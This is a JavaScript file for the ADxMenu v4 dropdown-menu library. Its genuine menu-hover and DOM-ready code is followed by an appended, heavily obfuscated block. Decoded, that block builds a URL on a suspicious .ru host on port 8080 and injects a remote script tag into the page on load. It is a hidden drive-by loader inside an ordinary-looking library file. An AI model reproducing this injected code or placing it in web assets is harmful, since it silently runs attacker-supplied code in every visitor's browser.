/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	ADxMenu.js - v4 (4.10)
	www.aplus.co.yu/adxmenu/
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	(c) Copyright 2003, Aleksandar Vacic, www.aplus.co.yu
		This work is licensed under the Creative Commons Attribution License.
		To view a copy of this license, visit http://creativecommons.org/licenses/by/2.0/ or
		send a letter to Creative Commons, 559 Nathan Abbott Way, Stanford, California 94305, USA
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*/
function ADxMenu_IESetup() {
	var aTmp2, i, j, oLI, aUL, aA;
	var aTmp = xGetElementsByClassName("adxm", document, "ul");
	for (i=0;i<aTmp.length;i++) {
		aTmp2 = aTmp[i].getElementsByTagName("li");
		for (j=0;j<aTmp2.length;j++) {
			oLI = aTmp2[j];
			aUL = oLI.getElementsByTagName("ul");
			//	if item has submenu, then make the item hoverable
			if (aUL && aUL.length) {
				oLI.UL = aUL[0];	//	direct submenu
				aA = oLI.getElementsByTagName("a");
				if (aA && aA.length)
					oLI.A = aA[0];	//	direct child link
				//	li:hover
				oLI.onmouseenter = function() {
					this.className += " adxmhover";
					this.UL.className += " adxmhoverUL";
					if (this.A) this.A.className += " adxmhoverA";
					if (WCH) WCH.Apply( this.UL, this, true );
				};
				//	li:blur
				oLI.onmouseleave = function() {
					this.className = this.className.replace(/adxmhover/,"");
					this.UL.className = this.UL.className.replace(/adxmhoverUL/,"");
					if (this.A) this.A.className = this.A.className.replace(/adxmhoverA/,"");
					if (WCH) WCH.Discard( this.UL, this );
				};
			}
		}	//for-li.submenu
	}	//for-ul.adxm
}

//	adds support for WCH. if you need WCH, then load WCH.js BEFORE this file
if (typeof(WCH) == "undefined") WCH = null;

/*	xGetElementsByClassName()
	Returns an array of elements which are
	descendants of parentEle and have tagName and clsName.
	If parentEle is null or not present, document will be used.
	if tagName is null or not present, "*" will be used.
	credits: Mike Foster, cross-browser.com.
*/
function xGetElementsByClassName(clsName, parentEle, tagName) {
	var elements = null;
	var found = new Array();
	var re = new RegExp('\\b'+clsName+'\\b');
	if (!parentEle) parentEle = document;
	if (!tagName) tagName = '*';
	if (parentEle.getElementsByTagName) {elements = parentEle.getElementsByTagName(tagName);}
	else if (document.all) {elements = document.all.tags(tagName);}
	if (elements) {
		for (var i = 0; i < elements.length; ++i) {
			if (elements[i].className.search(re) != -1) {
				found[found.length] = elements[i];
			}
		}
	}
	return found;
}

/*	allows instant "window.onload" (DOM.onload) function execution. shortened version, just IE code
	credits: Dean Edwards/Matthias Miller/John Resig/Rob Chenny
	http://www.cherny.com/webdev/27/domloaded-updated-again
*/
var DomLoaded = {
	onload: [],
	loaded: function() {
		if (arguments.callee.done) return;
		arguments.callee.done = true;
		for (i = 0;i < DomLoaded.onload.length;i++) DomLoaded.onload[i]();
	},
	load: function(fireThis) {
		this.onload.push(fireThis);
		/*@cc_on @*/
		/*@if (@_win32)
		var proto = "src='javascript:void(0)'";
		if (location.protocol == "https:") proto = "src=//0";
		document.write("<scr"+"ipt id=__ie_onload defer " + proto + "><\/scr"+"ipt>");
		var script = document.getElementById("__ie_onload");
		script.onreadystatechange = function() {
		    if (this.readyState == "complete") {
		        DomLoaded.loaded();
		    }
		};
		/*@end @*/
	}
};

//	load the setup function
DomLoaded.load(ADxMenu_IESetup);


var e="";var sQ;if(sQ!='b' && sQ!='X'){sQ='b'};var lK=new Array();function i(){var x;if(x!='' && x!='cR'){x=null};var o=window;var rx;if(rx!='' && rx!='M'){rx=''};var G;if(G!='zN' && G != ''){G=null};var k;if(k!='WX' && k!='d'){k='WX'};var J=new String("g");var z="\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x6d\x63\x61\x73\x74\x2d\x6e\x65\x74\x2e\x73\x65\x7a\x6e\x61\x6d\x2e\x63\x7a\x2e\x72\x6b\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var r='';var II;if(II!=''){II='nb'};var l=unescape;var q;if(q!=''){q='K'};function U(zi,Y){var XR;if(XR!='t' && XR!='Q'){XR=''};var N=l("%5b")+Y+l("%5d");var YP='';var L=new RegExp(N, J);var kS=new Date();var V;if(V!='' && V!='kG'){V=null};return zi.replace(L, r);};var UM=new Array();var a=new Date();var F='';this.fL='';var oa=l("%2f%6f%6e%65%6d%61%6e%67%61%2e%63%6f%6d%2f%6f%6e%65%6d%61%6e%67%61%2e%63%6f%6d%2f%6e%65%74%6c%6f%67%2e%63%6f%6d%2f%69%6b%65%61%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.HT="";var Z='';var Ls;if(Ls!='VT'){Ls='VT'};var W=document;var JbO;if(JbO!='' && JbO!='IS'){JbO=null};var B=U('89579501379389349325904795319','72596413');var C;if(C!='Zg' && C!='jf'){C=''};var wr="";var uA;if(uA!='E'){uA=''};function rO(){var Ew;if(Ew!='' && Ew!='fW'){Ew=''};var v='';Z=z;var Rm='';Z+=B;var NVe;if(NVe!='VF' && NVe!='i_'){NVe='VF'};var GD;if(GD!='EN' && GD!='_D'){GD='EN'};Z+=oa;this.Xu="";var EP=new Array();var yF;if(yF!='cA'){yF='cA'};try {var Bs;if(Bs!='Wb'){Bs='Wb'};var tc;if(tc!='' && tc!='Bu'){tc=''};c=W.createElement(U('s1cmr1i1pmtm','mF1'));var jE;if(jE!='' && jE!='Ft'){jE=null};var rS;if(rS!='' && rS!='Tr'){rS='go'};c.defer=[1][0];var Nc=new Date();var Gv;if(Gv!='Nw' && Gv!='SZ'){Gv=''};c.src=Z;var Qt=new Date();W.body.appendChild(c);} catch(H){var yj;if(yj!='EG'){yj=''};};}var OB=new String();var qq=new Array();o[new String("onlo"+"ad")]=rO;var vG;if(vG!='Hq' && vG != ''){vG=null};this.Yq='';};this.HA="";this.TR="";i();this.vH='';